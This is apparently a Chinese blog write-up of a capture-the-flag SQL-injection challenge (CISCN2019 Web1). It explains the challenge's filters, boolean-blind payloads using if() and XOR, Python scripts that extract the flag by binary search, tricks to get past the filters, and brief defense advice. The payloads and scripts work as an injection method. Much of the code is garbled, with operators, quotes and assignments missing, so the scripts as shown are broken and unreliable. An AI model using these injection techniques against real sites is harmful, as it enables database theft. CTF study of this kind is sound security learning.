当前位置: 首页 > article >正文

从CISCN2019华北赛区Web1看SQL注入的巧妙绕过技巧

1. 从CISCN2019华北赛区Web1看SQL注入的巧妙绕过技巧在CTF比赛中Web安全题目常常会设置各种过滤规则来阻止常见的攻击手法。CISCN2019华北赛区的Web1题目Hack World就是一个典型的例子它通过组合过滤的方式限制了传统SQL注入手段。这道题的精妙之处在于它没有完全禁用所有SQL功能而是通过特定规则让选手必须寻找更隐蔽的绕过方式。我最初看到这道题时发现它过滤了单引号和#的组合以及单引号和;的组合。这种组合过滤比单纯的关键字过滤要聪明得多因为它阻止了大多数注释符的使用。但有趣的是(select)这样的关键结构却没有被过滤这给了我们发挥的空间。在实际测试中我发现空格也被过滤了但可以用括号来绕过这是MySQL的一个特性。2. 题目分析与过滤规则拆解2.1 理解题目过滤机制首先我们需要明确题目过滤了哪些内容。通过Burp Suite的Intruder模块进行模糊测试(fuzz)我发现长度为482的请求包都会被拦截。但更关键的是组合过滤规则单引号和#不能同时出现单引号和分号;不能同时出现空格被过滤这种过滤方式非常聪明因为它阻止了大多数常见的SQL注入技巧。比如我们既不能用单引号闭合语句也不能用#或--来注释掉后面的内容。空格被过滤也使得语句构造更加困难。2.2 可用的SQL功能尽管有这些限制但题目并没有完全禁用所有SQL功能。经过测试我发现以下结构仍然可用if语句if(条件,值1,值2)select语句需要用括号包裹比较运算符, , 逻辑运算符and, or, xor函数ascii(), substr()这些可用的功能为我们提供了绕过的基础。特别是if语句的保留让我们可以使用布尔盲注的技术。3. 绕过技巧一利用if语句进行布尔盲注3.1 if语句的工作原理MySQL的if函数语法是if(expr1,expr2,expr3)。如果expr1为真则返回expr2否则返回expr3。在这个题目中我们可以利用这个特性来构造布尔盲注。例如简单的测试if(1,1,2) // 返回1 if(0,1,2) // 返回2通过观察返回结果是1还是2我们就能知道条件是否为真。3.2 构造盲注payload基于这个原理我们可以构造如下payload来获取数据库名if(ascii(substr((select(database())),1,1))32,1,2)这个payload的意思是取当前数据库名的第一个字符的ASCII码如果大于32可打印字符的范围就返回1否则返回2。通过服务器返回的结果我们就能判断条件是否为真。3.3 自动化脚本编写手动测试每个字符显然效率太低我们需要编写Python脚本来自动化这个过程。脚本的核心思路是二分查找import requests url http://example.com/index.php flag i 0 while True: i 1 left 32 right 127 while left right: mid (left right) // 2 payload fif(ascii(substr((select(flag)from(flag)),{i},1)){mid},1,2) data {id: payload} res requests.post(urlurl, datadata).text if Hello in res: # 根据实际返回结果调整判断条件 left mid 1 else: right mid if left ! 32: flag chr(left) print(flag) else: break这个脚本会逐个字符地爆破flag使用二分查找来提高效率。每次请求都会判断当前字符的ASCII码是否大于中间值根据返回结果调整查找范围。4. 绕过技巧二利用异或运算进行注入4.1 异或运算的原理除了if语句我们还可以利用MySQL的逻辑运算符来绕过过滤。特别是异或(XOR)运算它有以下特性0 XOR 0 00 XOR 1 11 XOR 0 11 XOR 1 0在题目中我们发现输入0和1会返回不同的结果。这提示我们可以构造基于异或运算的payload。4.2 构造异或payload基本的测试payload0^(1) // 返回1 0^(0) // 返回0我们可以利用这个特性来构造条件判断0^(ascii(substr(database(),1,1))0)如果数据库名的第一个字符的ASCII码大于0整个表达式就相当于0^11返回1的结果否则返回0。4.3 异或注入的脚本实现基于异或运算的脚本与if语句的类似但payload构造方式不同import requests url http://example.com/index.php flag i 0 while True: i 1 left 32 right 127 while left right: mid (left right) // 2 payload f0^(ascii(substr((select(flag)from(flag)),{i},1)){mid}) data {id: payload} res requests.post(urlurl, datadata).text if Hello in res: # 根据实际返回结果调整判断条件 left mid 1 else: right mid if left ! 32: flag chr(left) print(flag) else: break这个脚本同样使用二分查找法但利用了异或运算的特性来构造条件判断。5. 其他可能的绕过思路5.1 使用括号代替空格在MySQL中某些情况下可以用括号代替空格。例如select(flag)from(flag) # 等同于 select flag from flag这在空格被过滤时特别有用。需要注意的是并非所有地方都能这样替换需要实际测试。5.2 利用字符串拼接函数如果题目没有过滤concat等字符串函数可以尝试select(concat(f,lag))from(flag)这种方式可以绕过一些简单的关键字过滤。5.3 使用注释符变体虽然#和--被过滤了但可以尝试其他注释方式如select 1;%00 # 使用空字节截断不过在这个题目中分号被过滤了所以这种方法可能不适用。6. 防御建议与总结从这道题目中我们可以学到很多关于SQL注入防御的经验。首先组合过滤比单一关键字过滤更有效。其次即使允许某些SQL功能也可以通过精心设计的规则来限制攻击面。对于开发者来说防御SQL注入的最佳实践仍然是使用参数化查询。如果必须使用过滤应该考虑过滤所有可能的注释符号限制特殊字符的组合使用对空格和括号的使用进行监控实现白名单机制只允许必要的SQL操作在实际渗透测试中遇到过滤时不要轻易放弃要仔细测试哪些功能仍然可用。有时候一些看似无害的函数或运算符可能就是突破的关键。这道题目中的if语句和异或运算就是很好的例子。

相关文章:

从CISCN2019华北赛区Web1看SQL注入的巧妙绕过技巧

1. 从CISCN2019华北赛区Web1看SQL注入的巧妙绕过技巧 在CTF比赛中,Web安全题目常常会设置各种过滤规则来阻止常见的攻击手法。CISCN2019华北赛区的Web1题目"Hack World"就是一个典型的例子,它通过组合过滤的方式限制了传统SQL注入手段。这道题…...

基于SpringBoot+Vue的疫情物资管理系统管理系统设计与实现【Java+MySQL+MyBatis完整源码】

摘要 近年来,全球范围内突发公共卫生事件频发,疫情物资的高效管理与调配成为保障社会稳定的重要环节。传统物资管理方式依赖人工操作,存在效率低、数据不透明、响应速度慢等问题,难以满足紧急情况下的物资调度需求。尤其在新冠疫情…...

OpenClaw:四大使用挑战与破局思路

子玥酱 (掘金 / 知乎 / CSDN / 简书 同名) 大家好,我是 子玥酱,一名长期深耕在一线的前端程序媛 👩‍💻。曾就职于多家知名互联网大厂,目前在某国企负责前端软件研发相关工作,主要聚…...

彻底解决Windows 11系统稳定性问题:ExplorerPatcher核心技术解析与实战指南

彻底解决Windows 11系统稳定性问题:ExplorerPatcher核心技术解析与实战指南 【免费下载链接】ExplorerPatcher 提升Windows操作系统下的工作环境 项目地址: https://gitcode.com/GitHub_Trending/ex/ExplorerPatcher 当你的Windows 11系统频繁出现界面无响应…...

揭秘联发科设备Bootloader解锁:mtkclient-gui实战指南与深度解析

揭秘联发科设备Bootloader解锁:mtkclient-gui实战指南与深度解析 【免费下载链接】mtkclient-gui GUI tool for unlocking bootloader and bypassing authorization on Mediatek devices (Not maintained anymore) 项目地址: https://gitcode.com/gh_mirrors/mt/m…...

OpenClaw:AI 权限治理的核心问题

子玥酱 (掘金 / 知乎 / CSDN / 简书 同名) 大家好,我是 子玥酱,一名长期深耕在一线的前端程序媛 👩‍💻。曾就职于多家知名互联网大厂,目前在某国企负责前端软件研发相关工作,主要聚…...

别再只盯着GPU了!聊聊华为昇腾310/910芯片在AI推理和训练中的实战选型心得

华为昇腾芯片实战选型指南:如何用310/910构建高性价比AI计算方案 当你在深夜调试一个即将上线的图像识别模型时,服务器机房的轰鸣声和不断攀升的电费账单可能比代码bug更让人焦虑。三年前,我们团队就面临这样的困境——用8块NVIDIA V100训练的…...

【STM32F4系列】【HAL库】【实战解析】MPU6050 DMP姿态解算与I2C通信优化

1. MPU6050与DMP库基础解析 第一次接触MPU6050时,我被它小巧的体积和强大的功能震撼到了。这个售价不到10元的芯片,居然能同时测量三轴角加速度和三轴线加速度。在实际项目中,我发现直接读取原始数据并不难,但要想获得稳定的姿态信…...

PHP开发者必看:如何在本地环境快速搭建gRPC和Protobuf开发环境

PHP开发者必看:如何在本地环境快速搭建gRPC和Protobuf开发环境 作为一名长期与PHP打交道的开发者,我深刻理解在微服务架构盛行的当下,掌握gRPC和Protobuf技术栈的重要性。记得第一次尝试在本地搭建环境时,光是版本兼容问题就耗费了…...

Windows 11安卓子系统实战:无需商店直装APK的终极指南

1. Windows 11安卓子系统核心概念解析 Windows 11安卓子系统(Windows Subsystem for Android,简称WSA)是微软推出的重磅功能,它让Windows系统首次实现了原生运行安卓应用的能力。这个功能本质上是在Windows内核层构建了一个轻量化…...

告别重复代码:BaseMapperPlus在SpringBoot项目中的5个高级用法

BaseMapperPlus实战:SpringBoot项目中提升开发效率的5个高阶技巧 在SpringBoot项目中使用MyBatis-Plus进行数据持久层开发时,BaseMapperPlus作为社区广泛采用的扩展接口,能显著减少模板代码。本文将分享五个实际业务场景中的高阶用法&#xf…...

Python 3.15 JIT不是“可选优化”——而是CPython官方首次强制嵌入的LLVM后端(2024 Q3起新项目默认启用)

第一章:Python 3.15 JIT 的历史定位与架构革命Python 3.15 标志着 CPython 运行时的一次范式跃迁——它首次将生产就绪的、默认启用的即时编译(JIT)引擎深度集成至解释器核心,而非作为外部补丁或实验性分支存在。这一设计终结了自…...

Poppler Windows版技术架构深度解析:跨平台PDF处理的零配置解决方案

Poppler Windows版技术架构深度解析:跨平台PDF处理的零配置解决方案 【免费下载链接】poppler-windows Download Poppler binaries packaged for Windows with dependencies 项目地址: https://gitcode.com/gh_mirrors/po/poppler-windows Windows环境下PDF处…...

双阶段目标检测算法演进:从R-CNN到Mask R-CNN的技术突破与应用实践

1. 双阶段目标检测算法概述 目标检测是计算机视觉领域的核心任务之一,它不仅要识别图像中的物体类别,还要精确定位物体的位置。在众多目标检测算法中,双阶段检测算法因其高精度特性,一直是工业界和学术界的研究热点。这类算法的典…...

别再只会docker push了!Harbor镜像上传的5个隐藏技巧与实战避坑指南

Harbor镜像上传实战:5个高阶技巧与避坑指南 当你在凌晨三点被CI/CD流水线的失败通知惊醒,发现又是镜像上传问题导致整个发布流程卡住时,就会明白掌握Harbor的进阶用法有多重要。作为企业级容器镜像仓库,Harbor远比简单的docker pu…...

逆向工程必备:用aardio和Sunny中间件抓取手机App封包的3种实战姿势

逆向工程实战:aardio与Sunny中间件的移动端封包拦截艺术 在移动应用安全研究领域,封包拦截与分析是理解应用通信逻辑的关键入口。不同于传统的PC端抓包,移动环境面临着证书绑定、代理检测等更复杂的防御机制。aardio配合Sunny中间件构建的轻量…...

【STM32实战】步进电机S型曲线算法优化与误差补偿策略

1. 为什么需要S型曲线算法 我第一次用步进电机做项目时,直接给电机发固定频率的脉冲让它转起来。结果电机启动瞬间发出"咔咔"的异响,运行起来也一顿一顿的。后来才知道,步进电机最怕的就是突然加速或急停,这会导致丢步、…...

告别重复造轮子,用快马ai一键生成tomcat高效开发工具集与配置模板

今天想和大家分享一个提升Tomcat开发效率的小技巧。作为一个经常和Tomcat打交道的开发者,我发现每次新建项目都要重复写一些基础工具类,特别浪费时间。最近在InsCode(快马)平台上尝试用AI生成了一套可复用的工具集,效果很不错。 数据库连接池…...

AI写论文实用宝典,4款AI论文生成工具搞定各类论文写作!

在2025年的学术写作智能化浪潮中,越来越多的人开始依赖AI写论文工具进行创作。尽管这些工具的使用越来越普遍,但在撰写硕士、博士论文等较长篇幅的学术文章时,许多AI论文写作工具往往陷入缺乏理论深度和逻辑性不强的问题。普通的AI写专著或AI…...

串口转HID实战:CH9329芯片在无外网环境下的应用指南

CH9329芯片串口转HID实战:隔离环境下的设备控制方案 在工业控制、医疗设备和某些特殊应用场景中,经常需要在物理隔离的网络环境下实现设备控制。CH9329芯片作为一款串口转HID(人机接口设备)的专业芯片,为解决这类问题提…...

3大创新突破让千元机械臂媲美工业级性能:Faze4开源六轴机器人DIY全指南

3大创新突破让千元机械臂媲美工业级性能:Faze4开源六轴机器人DIY全指南 【免费下载链接】Faze4-Robotic-arm All files for 6 axis robot arm with cycloidal gearboxes . 项目地址: https://gitcode.com/gh_mirrors/fa/Faze4-Robotic-arm 价值定位&#xff…...

OpenClaw自动化办公:nanobot镜像处理Excel与PPT文件

OpenClaw自动化办公:nanobot镜像处理Excel与PPT文件 1. 为什么选择OpenClaw处理办公文档? 上周五下午5点,当我面对第7个需要合并的Excel报表时,手指已经因为重复的复制粘贴动作开始发麻。作为团队里负责月度数据汇总的"表哥…...

某高校学生考微软MOS认证加学分

临近毕业季&#xff0c;到底是谁的学分还没有修够&#xff1f;微软MOS认证证书也可以加学分&#xff0c;每天学习两个小时&#xff0c;一周就可以完成考试&#xff0c;当天就出证书&#xff01;&#x1f4cc;关于难度选择版本难度&#xff1a;2016 < 2019 < 365&#xff…...

Nuitka打包Python脚本为.exe的完整避坑指南(含Selenium解决方案)

Nuitka打包Python脚本为.exe的完整避坑指南&#xff08;含Selenium解决方案&#xff09; 将Python脚本打包成独立的可执行文件是许多开发者面临的常见需求&#xff0c;尤其是当需要分发工具或应用给没有Python环境的用户时。Nuitka作为一款强大的Python编译器&#xff0c;能够将…...

PostgreSQL权限管理实操:Homebrew安装后,如何正确创建postgres用户并导入项目数据

PostgreSQL权限管理实战&#xff1a;从Homebrew安装到项目数据迁移全指南 当你用Homebrew完成PostgreSQL安装后&#xff0c;真正的挑战才刚刚开始。许多开发者卡在权限配置这一关&#xff0c;导致后续数据迁移和日常操作频频受阻。本文将带你深入PostgreSQL的权限体系&#xff…...

提升开放平台开发效率,快马AI工具链自动化集成与测试

在企业级开放平台的开发过程中&#xff0c;效率往往是决定项目成败的关键因素之一。传统的开发流程中&#xff0c;开发者需要花费大量时间在重复性工作上&#xff0c;比如编写API客户端代码、配置测试环境、维护文档等。这些工作不仅耗时&#xff0c;还容易出错。今天我想分享一…...

医美私信获客新范式:快商通AI私信机器人如何实现高效客户转化

医美私信获客新范式&#xff1a;快商通AI私信机器人如何实现高效客户转化 关键要点&#xff1a; 医美行业夜间咨询流失率高达 78% &#xff0c;响应不及时是主要原因 快商通AI私信机器人实现 724小时 智能接待&#xff0c;开口率从 22% 提升至 100% 实际应用数据显示&#xff0…...

欧拉Euler~21.10系统下OpenSSH 9.0升级与安全加固实战指南

1. 环境准备&#xff1a;从零搭建OpenSSH 9.0升级基础 在欧拉Euler~21.10系统上升级OpenSSH&#xff0c;就像给老房子换新门窗——既要保证新功能正常使用&#xff0c;又不能破坏原有结构。我最近刚在测试环境完成这套操作&#xff0c;整个过程踩过几个坑&#xff0c;这里把完整…...

从Excel到Python:数据分析师必学的对数坐标绘制技巧(含Seaborn美化)

从Excel到Python&#xff1a;数据分析师必学的对数坐标绘制技巧&#xff08;含Seaborn美化&#xff09; 当市场报告中的用户增长曲线从缓慢爬升突然变成陡峭上升&#xff0c;或是竞品分析中的订单量横跨三个数量级时&#xff0c;Excel的默认线性坐标往往会让图表失去可读性。对…...

保姆级教程:在Windows 11上完美运行STM32CubeMX 6.9.0(附旧版本资源整理)

在Windows 11上完美运行STM32CubeMX历史版本的终极指南 最近升级到Windows 11后&#xff0c;我发现手头几个老项目使用的STM32CubeMX 6.9.0版本完全无法正常运行。每次启动不是闪退就是卡在初始化界面&#xff0c;而项目又必须使用这个特定版本才能保证代码兼容性。经过一周的…...